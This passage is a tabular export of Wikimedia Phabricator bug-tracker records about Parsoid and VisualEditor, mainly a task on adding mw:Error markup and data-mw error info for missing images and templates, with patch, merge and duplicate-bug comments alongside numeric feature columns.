Version info always welcome, in general.",,,1369904030,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-2qamjq3crlikvr3nahtr,task_subcomment,,True,c1,1,True,,,-5,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3157894736842106,1.0,"(In reply to comment #0)
QUOTE

Version info always welcome, in general."
50913,VisualEditor: Make ve.dm.Transaction chainable,"tx push
tx push
tx push
tx push

--------------------------
**Version**: unspecified
**Severity**: enhancement",Medium,50.0,1369777440,1530903558.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-lsb2vshfs5s363qn5xmf,task_description,declined,True,c1,1,True,True,False,-5,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.586206896551724,0.3793103448275862,"tx push
tx push
tx push
tx push

--------------------------
**Version**: unspecified
**Severity**: enhancement"
50900,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,"Image patch (https://gerrit.wikimedia.org/r/#/c/57817/) is missing error handling when the mw API is queried to get information about an image.

Two kind of errors that handleResponse in LinkHandler.js has to deal with:

(1) API error: Given that ApiRequest retries, an api error is an indication that the api may be temporarily down or that something else is wrong.  So, rather than continue, it is better to abort processing and return an error code to the clients so they can handle it however they want (ex: ve might tell the user that the page cannot be edited right now because of api/server issues).  This will require calling the error callback found in env.

(2) Image missing: If the api comes back and tells us that the image is missing, we should handle this similar to how the PHP parser does it for missing images.
- Maybe link to a special page/url that will let VE present an upload handler (check with VE folks as to what this url could be.  PHP parser behavior can be found by editing a page on wikipedia sandbox with a non-existent image)
- Dont add a thumb.
- Add a special rdf type on the image/wrapper tag: mw:Image/Missing maybe?

EDIT: These properties should apply to missing templates as well.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1369760400,1487999636.0,PHID-USER-slccyo5rqasgpljxny7g,False,PHID-USER-gxcjmjpejlhfnrquksm2,False,PHID-TASK-mmm6poefxi4xoohquyi4,task_description,resolved,True,c1,1,True,False,False,-5,,0.0,0.3333333333333333,0.0,1.0,0.3333333333333333,3.6666666666666665,1.0,0.3333333333333333,0.0,0.3333333333333333,2.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,5.666666666666667,10.333333333333334,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,2.0,0.6666666666666666,0.3333333333333333,4.333333333333333,1.0,1.0,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,1.3333333333333333,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.0,18.666666666666668,0.3333333333333333,2.3333333333333335,0.0,0.0,1.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,6.666666666666667,3.3333333333333335,8.666666666666666,3.0,1.0,8.0,0.0,0.0,0.0,0.0,6.666666666666667,0.0,0.6666666666666666,0.0,2.3333333333333335,10.333333333333334,2.0,0.3333333333333333,0.0,0.0,2.3333333333333335,0.0,2.0,3.3333333333333335,0.3333333333333333,2.6666666666666665,0.3333333333333333,0.0,0.6666666666666666,3.7163120567375887,0.7340425531914893,"Image patch (URL is missing error handling when the mw API is queried to get information about an image.

Two kind of errors that handleResponse in LinkHandler.js has to deal with:

(1) API error: Given that ApiRequest retries, an api error is an indication that the api may be temporarily down or that something else is wrong.  So, rather than continue, it is better to abort processing and return an error code to the clients so they can handle it however they want (ex: ve might tell the user that the page cannot be edited right now because of api/server issues).  This will require calling the error callback found in env.

(2) Image missing: If the api comes back and tells us that the image is missing, we should handle this similar to how the PHP parser does it for missing images.
- Maybe link to a special page/url that will let VE present an upload handler (check with VE folks as to what this url could be.  PHP parser behavior can be found by editing a page on wikipedia sandbox with a non-existent image)
- Dont add a thumb.
- Add a special rdf type on the image/wrapper tag: mw:Image/Missing maybe?

EDIT: These properties should apply to missing templates as well.

--------------------------
**Version**: unspecified
**Severity**: normal"
815613,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,"Change 339689 merged by jenkins-bot:
T50900: Set mw:Error and provide error info in data-mw for ext/tpl

[[https://gerrit.wikimedia.org/r/339689]]",,,1487999288,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c1,3,False,,,190,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.1818181818181817,0.8181818181818182,"Change 339689 merged by jenkins-bot:
T50900: Set mw:Error and provide error info in data-mw for ext/tpl

[[GERRIT_URL]]"
815429,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,"Change 339689 had a related patch set uploaded (by Arlolra):
T50900: Set mw:Error and provide error info in data-mw for ext/tpl

[[https://gerrit.wikimedia.org/r/339689]]
",,,1487969442,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c1,3,False,,,190,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,8.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,3.289473684210526,0.868421052631579,"Change 339689 had a related patch set uploaded (by Arlolra):
T50900: Set mw:Error and provide error info in data-mw for ext/tpl

[[GERRIT_URL]]
"
509627,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,"According to comments in ext.core.TemplateHandler.js, the data-mw update was supposed to apply to missing templates as well.  Re-opening and retitling to reflect work remaining, since there are already references in the source code to this bug #.",,,1439831900,,PHID-USER-m2ezqyeb4uz67zq6bats,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c1,3,True,,,111,,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,20.0,0.0,4.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,4.0,4.0,2.0,2.0,7.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,20.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.565217391304348,0.8043478260869565,"According to comments in ext.core.TemplateHandler.js, the data-mw update was supposed to apply to missing templates as well.  Re-opening and retitling to reflect work remaining, since there are already references in the source code to this bug #."
343581,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,This has been deployed.,,,1418855804,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c1,3,True,,,76,,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,This has been deployed.
339921,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,"Change 170455 merged by jenkins-bot:
T50900: Add mw:Error   error info to data-mw for missing imgs

[[https://gerrit.wikimedia.org/r/170455]]",,,1418149485,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c1,3,False,,,75,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,3.2580645161290325,0.8064516129032258,"Change 170455 merged by jenkins-bot:
T50900: Add mw:Error   error info to data-mw for missing imgs

[[GERRIT_URL]]"
336370,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,"Change 170455 had a related patch set uploaded (by Subramanya Sastry):
T50900: Add mw:Error   error info to data-mw for missing imgs

[[https://gerrit.wikimedia.org/r/170455]]

#patch-for-review",,,1417716645,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c1,3,False,,,74,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,16.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,7.0,3.441860465116279,0.7906976744186046,"Change 170455 had a related patch set uploaded (by Subramanya Sastry):
T50900: Add mw:Error   error info to data-mw for missing imgs

[[GERRIT_URL]]

#patch-for-review"
226886,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,"Change 170455 had a related patch set uploaded by Subramanya Sastry:
WIP: (Bug 48900) Add mw:Error + error info to data-mw for missing imgs

https://gerrit.wikimedia.org/r/170455",,,1414795698,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c1,3,False,,,69,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,23.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,9.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.6857142857142855,0.9142857142857143,"Change 170455 had a related patch set uploaded by Subramanya Sastry:
WIP: (Bug 48900) Add mw:Error + error info to data-mw for missing imgs

GERRIT_URL"
226879,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,We should tackle this one soon since this blocks Flow from removing data-parsoid from their code. They use data-parsoid for missing images to render links. We currently emit a mw:Placeholder meta for it.,,,1411654695,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c1,3,True,,,64,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,14.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,12.0,14.0,5.0,0.0,0.0,0.0,12.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,4.071428571428571,0.7857142857142857,We should tackle this one soon since this blocks Flow from removing data-parsoid from their code. They use data-parsoid for missing images to render links. We currently emit a mw:Placeholder meta for it.
226873,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,*** Bug 51615 has been marked as a duplicate of this bug. ***,,,1374161731,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51615 has been marked as a duplicate of this bug. ***
226871,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,Spec in development at http://www.mediawiki.org/wiki/Parsoid/MediaWiki_DOM_spec#Error_handling,,,1374106464,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.4,1.0,Spec in development at URL
226868,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,"We recently discussed this again. A possible solution might be to mark arbitrary elements as error-affected using an additional mw:Error typeof (or CSS class), plus error information in data-mw.error. This error information can be an object like this:

{
  key: ""missing-image"",
  msg: ""This image did not exist""
}
 
The key can be used to retrieve localized messages. The msg just provides a non-localized fall-back. We could leave that out too if we are concerned about space.

For images, we'd use the standard DOM structure as if the image existed, but point out the error with the typeof and data-mw so that the VE can help the user to fix the issue. Similarly, bots can look for errors and potentially fix them automatically.",,,1374075574,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.5,0.5,5.0,1.5,0.0,0.0,1.0,2.0,0.5,0.0,0.0,0.0,2.5,0.0,4.5,10.5,0.0,1.5,0.0,0.5,0.0,1.5,0.0,0.0,0.0,3.5,0.5,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,2.0,0.0,0.5,0.0,0.0,0.0,16.0,0.5,2.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,7.5,2.0,7.0,2.5,3.0,10.0,0.0,0.0,0.0,0.0,7.5,0.0,0.0,0.0,3.0,10.5,1.0,0.0,2.0,0.0,3.0,0.0,0.0,2.0,0.5,1.0,0.0,0.0,0.0,3.802469135802469,0.7345679012345678,"We recently discussed this again. A possible solution might be to mark arbitrary elements as error-affected using an additional mw:Error typeof (or CSS class), plus error information in data-mw.error. This error information can be an object like this:

{
  key: ""missing-image"",
  msg: ""This image did not exist""
}
 
The key can be used to retrieve localized messages. The msg just provides a non-localized fall-back. We could leave that out too if we are concerned about space.

For images, we'd use the standard DOM structure as if the image existed, but point out the error with the typeof and data-mw so that the VE can help the user to fix the issue. Similarly, bots can look for errors and potentially fix them automatically."
226863,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,*** Bug 51535 has been marked as a duplicate of this bug. ***,,,1374074905,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51535 has been marked as a duplicate of this bug. ***
226859,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,*** Bug 50290 has been marked as a duplicate of this bug. ***,,,1373852602,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50290 has been marked as a duplicate of this bug. ***
226852,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,Another example from bug 51244 - http://parsoid.wmflabs.org/pt/Usu%C3%A1rio:Helder.wiki/Testes?oldid=36380720,,,1373646156,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,Another example from bug 51244 - URL
226845,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,*** Bug 51244 has been marked as a duplicate of this bug. ***,,,1373646127,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51244 has been marked as a duplicate of this bug. ***
226839,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,*** Bug 51039 has been marked as a duplicate of this bug. ***,,,1373590970,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51039 has been marked as a duplicate of this bug. ***
226832,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934117,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,4.814814814814815,0.8888888888888888,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704]
226827,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,*** Bug 50035 has been marked as a duplicate of this bug. ***,,,1372104211,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50035 has been marked as a duplicate of this bug. ***
226822,Mark up http errors + missing TEMPLATE errors with generic error attributes + error info in data-mw,"Before merging Mark's image patch I added very basic error handling that at least round-trips the image in case something goes wrong. This uses a simple mw:Placeholder for now, but we should probably create a generic error RDFa type that lets us report localizable errors while still ensuring round-tripping.

To let editors fix such an issue it might be useful to attach the regular DOM structure to the error wrapper. We'd also need to point out which property needs to be fixed, so that a client like the VisualEditor can provide a useful dialog.",,,1371782235,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-mmm6poefxi4xoohquyi4,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.5,0.5,1.0,0.0,6.0,1.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,2.5,0.0,3.5,11.5,0.5,3.5,0.5,1.5,0.0,0.5,0.0,1.0,0.0,2.0,1.0,0.5,2.5,0.5,1.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.5,0.0,15.5,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.5,0.0,7.0,2.0,6.5,3.0,0.5,9.5,0.0,0.0,0.0,0.0,8.5,0.0,0.0,0.0,3.5,11.5,3.0,0.0,0.0,0.0,3.5,0.0,1.5,4.0,0.5,1.5,0.0,0.5,0.0,4.19023569023569,0.8710437710437711,"Before merging Mark's image patch I added very basic error handling that at least round-trips the image in case something goes wrong. This uses a simple mw:Placeholder for now, but we should probably create a generic error RDFa type that lets us report 